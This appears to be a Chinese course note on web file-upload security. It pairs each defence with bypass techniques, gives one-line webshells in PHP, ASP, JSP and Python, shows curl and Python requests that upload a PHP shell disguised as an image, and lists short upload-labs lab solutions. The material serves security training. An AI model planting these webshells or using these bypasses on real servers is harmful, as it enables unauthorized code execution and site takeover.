文件上传防御手段及绕过手段总结
文件类型限制
防御:
服务器端通过检查文件扩展名和MIME类型来限制上传文件的类型。
绕过:
-
修改文件扩展名: 例如将 "shell.php" 改名为 "shell.jpg"。
-
修改MIME类型: 在HTTP请求中更改Content-Type头。
-
使用双扩展名: 如 "shell.jpg.php"。
文件大小限制
防御:
设置上传文件的最大允许大小。
绕过:
-
使用压缩文件: 上传一个小型压缩文件,解压后得到大文件。
-
分片上传: 将大文件分成多个小片段上传,然后在服务器端重组。
文件名验证
防御:
检查文件名是否包含非法字符或路径。
绕过:
-
使用特殊字符: 如null字节(%00)来截断文件名。
-
使用Unicode字符: 利用不同编码间的转换问题。
文件内容检查
防御:
扫描文件内容是否包含恶意代码或脚本。
绕过:
-
多层打包: 将恶意文件多次压缩或编码。
-
隐写术: 在看似正常的图片或文档中隐藏恶意代码。
上传目录权限控制
防御:
限制上传目录的执行权限,防止上传的文件被直接执行。
绕过:
-
利用其他漏洞: 如文件包含漏洞,间接执行上传的文件。
使用随机文件名
防御:
为上传的文件生成随机文件名,防止攻击者猜测文件路径。
绕过:
-
暴力猜测: 尝试大量可能的文件名。
-
利用信息泄露: 寻找可能泄露文件名的应用程序日志或错误信息。
图片文件重新生成
防御:
对上传的图片进行重新渲染,去除可能隐藏的恶意代码。
绕过:
-
多格式图片: 创建同时符合多种图片格式的文件。
服务端扫描
防御:
使用防病毒软件或自定义脚本扫描上传的文件。
绕过:
-
使用未知的恶意代码: 开发新的、未被识别的恶意代码。
-
混淆技术: 使用代码混淆来逃避检测。
文件元数据验证
防御:
检查文件的元数据,确保与声称的文件类型一致。
绕过:
-
伪造元数据: 修改文件的元数据使其看起来合法。
上传频率限制
防御:
限制单个用户在特定时间内的上传次数。
绕过:
-
分布式上传: 使用多个账户或IP地址进行上传。
-
延时上传: 在更长的时间内间歇性地上传文件。
文件上传常用一句话木马
PHP一句话木马
原理:利用PHP的eval()函数执行任意代码。
示例:<?php eval($_POST['cmd']); ?>
ASP/ASP.NET一句话木马
原理:使用Execute或Eval方法执行代码。
示例:<%eval(request("cmd"))%>
JSP一句话木马
原理:利用Runtime.getRuntime().exec()执行系统命令。
示例:<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
Python一句话木马(在支持Python的Web服务器上)
原理:使用exec()函数执行代码。
示例:exec(request.GET.get('cmd',''))
课中所讲的三种webshell管理工具的使用方法
冰蝎
输入shell上传路径和密码
蚁剑
输入shell上传路径和密码
测试连接
拿shell
哥斯拉
输入shell上传路径和密码
拿shell
文件上传无回显如何查找webshell地址
目录枚举
-
使用字典攻击尝试常见上传目录:/uploads/, /images/, /files/ 等
-
利用工具如dirbuster或gobuster进行自动化扫描
-
分析网站结构,寻找可能的文件存储模式
时间相关技术
-
创建时间戳分析:上传文件前后获取目录列表,比对新增文件
-
如果能获取文件列表,按时间排序查找最新文件
-
利用条件竞争,在上传的同时进行目录扫描
文件命名模式分析
-
观察上传过程中的任何响应,寻找可能泄露的命名规则
-
如果使用基于时间的命名,可以根据上传时间推测文件名
-
尝试不同的文件名格式:原始名称、MD5、递增数字等
元数据和文件特征
-
上传带有特殊元数据的文件(如特定的EXIF信息)
-
使用唯一的文件大小或内容特征
-
尝试通过这些特征在服务器上定位文件
错误信息分析
-
仔细分析所有错误消息,可能包含路径信息
-
尝试触发各种错误,如磁盘空间不足、权限问题等
-
查看源代码中的注释或调试信息
辅助漏洞利用
-
结合其他漏洞,如本地文件包含(LFI)
-
利用XML外部实体(XXE)漏洞读取目录结构
-
利用服务器端请求伪造(SSRF)进行内部扫描
日志分析技术
-
如果能访问服务器日志,分析访问模式
-
利用日志中可能泄露的文件路径信息
-
创建独特的User-Agent,便于在日志中识别
文件上传表单的无参/有参情况下构造表单
无参数情况下构造表单
在无参数情况下,表单通常非常简单,只包含基本的文件上传字段。
HTML 表单示例:
<form action="upload.php" method="POST" enctype="multipart/form-data"> <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" value="Upload File" name="submit"> </form>
对应的 cURL 命令:
curl -X POST -H "Content-Type: multipart/form-data" -F "fileToUpload=@/path/to/local/file" http://example.com/upload.php
Python requests 库示例:
import requests url = "http://example.com/upload.php" files = {"fileToUpload": open("/path/to/local/file", "rb")} response = requests.post(url, files=files)
有参数情况下构造表单
在有参数的情况下,表单可能包含额外的字段,如文件描述、用户ID等。
HTML 表单示例:
<form action="upload.php" method="POST" enctype="multipart/form-data"> <input type="file" name="fileToUpload" id="fileToUpload"> <input type="text" name="description" placeholder="File description"> <input type="hidden" name="user_id" value="12345"> <input type="submit" value="Upload File" name="submit"> </form>
对应的 cURL 命令:
curl -X POST -H "Content-Type: multipart/form-data" -F "fileToUpload=@/path/to/local/file" -F "description=Test file" -F "user_id=12345" http://example.com/upload.php
Python requests 库示例:
import requests url = "http://example.com/upload.php" files = {"fileToUpload": open("/path/to/local/file", "rb")} data = {"description": "Test file", "user_id": "12345"} response = requests.post(url, files=files, data=data)
高级技巧:
-
修改文件名: 在某些情况下,可能需要修改上传文件的文件名。
cURL 示例:
curl -X POST -H "Content-Type: multipart/form-data" -F "fileToUpload=@/path/to/local/file;filename=newname.php" http://example.com/upload.php
Python 示例:
files = {"fileToUpload": ("newname.php", open("/path/to/local/file", "rb"), "application/x-php")}
-
修改 Content-Type: 有时需要修改文件的 Content-Type 来绕过某些限制。
Python 示例:
files = {"fileToUpload": ("image.jpg", open("/path/to/shell.php", "rb"), "image/jpeg")}
-
构造复杂的多部分请求: 在某些情况下,可能需要构造更复杂的多部分请求。
Python 示例:
import requests from requests_toolbelt.multipart.encoder import MultipartEncoder multipart_data = MultipartEncoder( fields={ 'field0': 'value', 'field1': 'value', 'field2': ('filename', open('/path/to/file', 'rb'), 'text/plain') } ) response = requests.post('http://example.com/upload.php', data=multipart_data, headers={'Content-Type': multipart_data.content_type})
upload-labs靶场通关第6-第10关
6
大小写绕过
蚁剑连
7
空格绕过
蚁剑连
8
文件名后加.进行绕过
蚁剑连
9
使用::DATA绕过
蚁剑连
10
最后上传路径直接使用文件名进行拼接,而且只对文件名进行
上传shel.php 然后用bp改后缀加点空格点(即文件名为zoe.php. .
)